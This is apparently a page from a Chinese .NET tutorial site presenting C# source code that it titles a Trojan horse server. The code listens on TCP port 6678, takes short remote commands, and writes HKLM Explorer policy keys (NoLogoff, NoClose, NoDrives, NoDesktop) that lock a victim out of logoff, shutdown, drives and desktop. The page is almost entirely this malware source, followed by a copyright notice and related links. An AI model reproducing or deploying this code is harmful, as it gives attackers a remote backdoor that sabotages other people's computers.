using system; using system.drawing; using system.collections; using system.componentmodel; using system.windows.forms; using system.data; using system.io; using system.net; using system.net.sockets; using system.threading; using microsoft.win32; namespace server { /**//// /// form1 的摘要说明。 /// public class form1 : system.windows.forms.form { /**//// /// 必需的设计器变量。 /// private system.componentmodel.container components = null; private tcplistener listener; private string mystr="您好!非常抱歉,您的注册表:"; private registrykey rrr=registry.localmachine; private registrykey key1; public form1() { // // windows 窗体设计器支持所必需的 // initializecomponent(); {int port =6678; listener=new tcplistener(port); listener.start(); thread thread=new thread(new threadstart(target)); thread.start(); } // // todo: 在 initializecomponent 调用后添加任何构造函数代码 // } public void target() { socket socket= listener.acceptsocket(); while(socket.connected) { byte[] by=new byte[6]; int i=socket.receive(by,by.length,0); string ss=system.text.encoding.ascii.getstring(by); //ooooooooooooooooooooooooooo以下是修改注册表ooooooooooooooooooooooooooo //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(ss=="jiance") { string str="hjc"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); } if(ss=="zx1000") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff被修改!请将它置为0!"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff被修改!请将它置为0!"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if(ss=="") //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& //**************************************************************************** if(ss=="zx0100") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("noclose",1); key1.close(); mystr=mystr+"localmachine\software\microsoft\windows\currentversion\policies\explorer键值noclose被修改!请将它置为0!"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("noclose",1); key2.close(); mystr=mystr+"localmachine\software\microsoft\windows\currentversion\policies\explorer键值noclose被修改!请将它置为0!"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if(ss=="zx0100"){ //**************************************************************************** //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ if(ss=="zx0010") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nodrives",12); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodrives被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nodrives",12); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //==================================================================== if(ss=="zx0001") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //========================================================================= //$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ if(ss=="zx1100") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("noclose",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("noclose",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(ss=="zx1010") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("nodrives",12); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodrives被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("nodrives",12); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //************************************************** if(ss=="zx1001") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodesktop被修改!请将它置为0"; } catch(exception ee){messagebox.show(ee.message);} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //******************************************** if(ss=="zx0110") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("noclose",1); key1.setvalue("nodrives",12); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、nodrives被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("noclose",1); key2.setvalue("nodrives",12); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、nodrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //******************************************** if(ss=="zx0101") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("noclose",1); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("noclose",1); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //******************************** if(ss=="zx0011") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nodrives",12); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodrives、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nodrives",12); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nodrives、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //************************************ if(ss=="zx1110") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("noclose",1); key1.setvalue("nodrives",12); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodrives被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("noclose",1); key2.setvalue("nodrives",12); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodrives被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //************************************** if(ss=="zx1101") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("noclose",1); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("noclose",1); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //****************************************** if(ss=="zx1011") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("nodrives",12); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodrives、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("nodrives",12); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、nodrives、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //******************************************** if(ss=="zx0111") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nodrives",12); key1.setvalue("noclose",1); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、nodrives、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nodrives",12); key2.setvalue("noclose",1); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值noclose、nodrives、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //******************************************** if(ss=="zx1111") { try { key1=rrr.opensubkey("software\microsoft\windows\currentversion\policies\explorer",true); key1.setvalue("nologoff",1); key1.setvalue("noclose",1); key1.setvalue("nodrives",12); key1.setvalue("nodesktop",1); key1.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodrives、nodesktop被修改!请将它置为0"; } catch{} if(key1==null) { try { registrykey key2=rrr.createsubkey("software\microsoft\windows\currentversion\policies\explorer"); key2.setvalue("nologoff",1); key2.setvalue("noclose",1); key2.setvalue("nodrives",12); key2.setvalue("nodesktop",1); key2.close(); mystr=mystr+"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer键值nologoff、noclose、nodrives、nodesktop被修改!请将它置为0"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=system.text.encoding.ascii.getbytes(str.tochararray()); socket.send(bytee,bytee.length,0); }//if //********************************************* //ooooooooooooooooooooooooooo以上是修改注册表oooooooooooooooooooooooooooooooo
特洛伊木马服务器源代码(C#)-.NET教程,C#语言
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com 特别注意:本站所有转载文章言论不代表本站观点! 本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。未经允许不得转载:IDC资讯中心 » 特洛伊木马服务器源代码(C#)-.NET教程,C#语言
相关推荐
-      VS2010的aspx文件中的html代码的格式化方法
-      .net 反序题目的详细解答第1/2页
-      asp.net创建html文本文件实例
-      比较完整的 asp.net 学习流程
-      官网 Ext direct包中.NET版的问题
-      C# XML操作 代码大全(读XML,写XML,更新,删除节点,与dataset结合等)第1/2页
-      c# 连接字符串数据库服务器端口号 .net状态服务器端口号
-      asp.net教程:简单的C#图片上传代码或C#文件上传代码